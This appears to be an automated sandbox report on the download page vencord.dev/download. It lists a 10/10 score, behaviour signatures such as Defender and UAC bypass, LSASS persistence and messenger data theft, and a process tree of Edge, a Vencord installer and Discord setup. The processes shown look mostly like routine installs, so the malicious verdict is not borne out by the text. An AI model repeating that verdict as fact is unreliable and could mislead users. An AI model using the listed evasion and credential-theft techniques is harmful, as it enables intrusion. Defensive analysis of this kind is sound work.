Overview

overview

10

Static

static

1

URLScan

urlscan

1

https://vencord.dev/...

windows11-21h2-x64

Analysis

  • max time kernel
    307s
  • max time network
    337s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240709-en
  • resource tags

    arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    25-07-2024 16:09

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    https://vencord.dev/download

Score
10/10
credential_accessdefense_evasiondiscoveryevasionexecutionpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 64 IoCs
    evasiontrojan
  • Modifies firewall policy service 3 TTPs 2 IoCs
    evasion
  • UAC bypass 3 TTPs 5 IoCs
    evasiontrojan
  • Windows security bypass 2 TTPs 4 IoCs
    evasiontrojan
  • Downloads MZ/PE file
  • Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs

    Disable Windows Driver Blocklist via Registry.

    defense_evasion
  • Boot or Logon Autostart Execution: LSASS Driver 2 TTPs 1 IoCs

    Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems.

    persistencecredential_access
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 64 IoCs
  • Loads dropped DLL 13 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Hijack Execution Flow: Executable Installer File Permissions Weakness 1 TTPs 1 IoCs

    Possible Turn off User Account Control's privilege elevation for standard users.

    defense_evasionpersistenceprivilege_escalation
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Windows directory 6 IoCs
  • Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 3 IoCs

    When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 24 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 25 IoCs
  • Modifies registry key 1 TTPs 5 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • NTFS ADS 8 IoCs
  • Runs .reg file with regedit 42 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 60 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://vencord.dev/download
    1⤵
    • Enumerates system info in registry
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4904
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffd26b3cb8,0x7fffd26b3cc8,0x7fffd26b3cd8
      2⤵
        PID:2412
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1900 /prefetch:2
        2⤵
          PID:4484
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3812
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2648 /prefetch:8
          2⤵
            PID:4332
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
            2⤵
              PID:780
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1
              2⤵
                PID:1916
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4704 /prefetch:8
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:2856
              • C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5284 /prefetch:8
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:3204
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5136 /prefetch:1
                2⤵
                  PID:2172
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5364 /prefetch:1
                  2⤵
                    PID:1612
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
                    2⤵
                      PID:3156
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:1
                      2⤵
                        PID:3032
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5516 /prefetch:1
                        2⤵
                          PID:1872
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5452 /prefetch:1
                          2⤵
                            PID:2292
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6164 /prefetch:8
                            2⤵
                              PID:992
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6196 /prefetch:8
                              2⤵
                                PID:2032
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3328 /prefetch:8
                                2⤵
                                • NTFS ADS
                                • Suspicious behavior: EnumeratesProcesses
                                PID:3308
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
                                2⤵
                                  PID:3132
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6136 /prefetch:1
                                  2⤵
                                    PID:2780
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3348 /prefetch:8
                                    2⤵
                                    • Subvert Trust Controls: Mark-of-the-Web Bypass
                                    • NTFS ADS
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:2056
                                  • C:\Users\Admin\Downloads\VencordInstaller.exe
                                    "C:\Users\Admin\Downloads\VencordInstaller.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    • Modifies system certificate store
                                    • Suspicious use of SetWindowsHookEx
                                    PID:1164
                                  • C:\Users\Admin\Downloads\VencordInstaller.exe
                                    "C:\Users\Admin\Downloads\VencordInstaller.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetWindowsHookEx
                                    PID:5040
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5068 /prefetch:1
                                    2⤵
                                      PID:892
                                    • C:\Users\Admin\Downloads\VencordInstaller.exe
                                      "C:\Users\Admin\Downloads\VencordInstaller.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:4216
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5048 /prefetch:1
                                      2⤵
                                        PID:3116
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5468 /prefetch:1
                                        2⤵
                                          PID:1152
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7036 /prefetch:1
                                          2⤵
                                            PID:4916
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=1996 /prefetch:8
                                            2⤵
                                              PID:4784
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6976 /prefetch:1
                                              2⤵
                                                PID:3880
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4644 /prefetch:1
                                                2⤵
                                                  PID:3216
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6132 /prefetch:8
                                                  2⤵
                                                    PID:3272
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5648 /prefetch:8
                                                    2⤵
                                                    • Modifies registry class
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:4672
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3860 /prefetch:1
                                                    2⤵
                                                      PID:4908
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4720 /prefetch:1
                                                      2⤵
                                                        PID:1448
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
                                                        2⤵
                                                          PID:3084
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5584 /prefetch:2
                                                          2⤵
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:2480
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2508 /prefetch:1
                                                          2⤵
                                                            PID:1940
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5684 /prefetch:1
                                                            2⤵
                                                              PID:4548
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5588 /prefetch:1
                                                              2⤵
                                                                PID:1444
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3304 /prefetch:8
                                                                2⤵
                                                                  PID:2396
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6200 /prefetch:1
                                                                  2⤵
                                                                    PID:464
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7084 /prefetch:1
                                                                    2⤵
                                                                      PID:1968
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:1
                                                                      2⤵
                                                                        PID:3244
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4784 /prefetch:1
                                                                        2⤵
                                                                          PID:4920
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 /prefetch:8
                                                                          2⤵
                                                                          • Subvert Trust Controls: Mark-of-the-Web Bypass
                                                                          • NTFS ADS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          PID:2964
                                                                        • C:\Users\Admin\Downloads\DiscordSetup.exe
                                                                          "C:\Users\Admin\Downloads\DiscordSetup.exe"
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:1364
                                                                          • C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
                                                                            "C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe" --install .
                                                                            3⤵
                                                                            • Executes dropped EXE
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:3444
                                                                            • C:\Users\Admin\AppData\Local\Discord\app-1.0.9155\Discord.exe
                                                                              "C:\Users\Admin\AppData\Local\Discord\app-1.0.9155\Discord.exe" --squirrel-install 1.0.9155
                                                                              4⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:1432
                                                                              • C:\Users\Admin\AppData\Local\Discord\app-1.0.9155\Discord.exe
                                                                                C:\Users\Admin\AppData\Local\Discord\app-1.0.9155\Discord.exe --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\discord /prefetch:4 --no-rate-limit --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\discord\Crashpad --url=https://f.a.k/e --annotation=_productName=discord --annotation=_version=1.0.9155 --annotation=plat=Win64 --annotation=prod=Electron --annotation=ver=30.2.0 --initial-client-data=0x528,0x52c,0x530,0x520,0x534,0x7ff6edb5f218,0x7ff6edb5f224,0x7ff6edb5f230
                                                                                5⤵
                                                                                • Executes dropped EXE
                                                                                • Loads dropped DLL
                                                                                PID:1212
                                                                              • C:\Users\Admin\AppData\Local\Discord\Update.exe
                                                                                C:\Users\Admin\AppData\Local\Discord\Update.exe --createShortcut Discord.exe --setupIcon C:\Users\Admin\AppData\Local\Discord\app.ico
                                                                                5⤵
                                                                                • Executes dropped EXE
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:2984
                                                                              • C:\Users\Admin\AppData\Local\Discord\app-1.0.9155\Discord.exe
                                                                                "C:\Users\Admin\AppData\Local\Discord\app-1.0.9155\Discord.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1924,i,8761735049475405697,2099010107577379757,262144 --enable-features=kWebSQLAccess --disable-features=HardwareMediaKeyHandling,IntensiveWakeUpThrottling,MediaSessionService,SpareRendererForSitePerProcess,UseEcoQoSForBackgroundProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1920 /prefetch:2
                                                                                5⤵
                                                                                • Executes dropped EXE
                                                                                • Loads dropped DLL
                                                                                PID:4764
                                                                              • C:\Users\Admin\AppData\Local\Discord\app-1.0.9155\Discord.exe
                                                                                "C:\Users\Admin\AppData\Local\Discord\app-1.0.9155\Discord.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --secure-schemes=sentry-ipc --bypasscsp-schemes=sentry-ipc --cors-schemes=sentry-ipc --fetch-schemes=sentry-ipc --field-trial-handle=2480,i,8761735049475405697,2099010107577379757,262144 --enable-features=kWebSQLAccess --disable-features=HardwareMediaKeyHandling,IntensiveWakeUpThrottling,MediaSessionService,SpareRendererForSitePerProcess,UseEcoQoSForBackgroundProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1920 /prefetch:3
                                                                                5⤵
                                                                                • Executes dropped EXE
                                                                                • Loads dropped DLL
                                                                                PID:4116
                                                                              • C:\Windows\System32\reg.exe
                                                                                C:\Windows\System32\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord /d "\"C:\Users\Admin\AppData\Local\Discord\Update.exe\" --processStart Discord.exe" /f
                                                                                5⤵
                                                                                • Adds Run key to start application
                                                                                • Modifies registry key
                                                                                PID:768
                                                                              • C:\Windows\System32\reg.exe
                                                                                C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /ve /d "URL:Discord Protocol" /f
                                                                                5⤵
                                                                                • Modifies registry class
                                                                                • Modifies registry key
                                                                                PID:1284
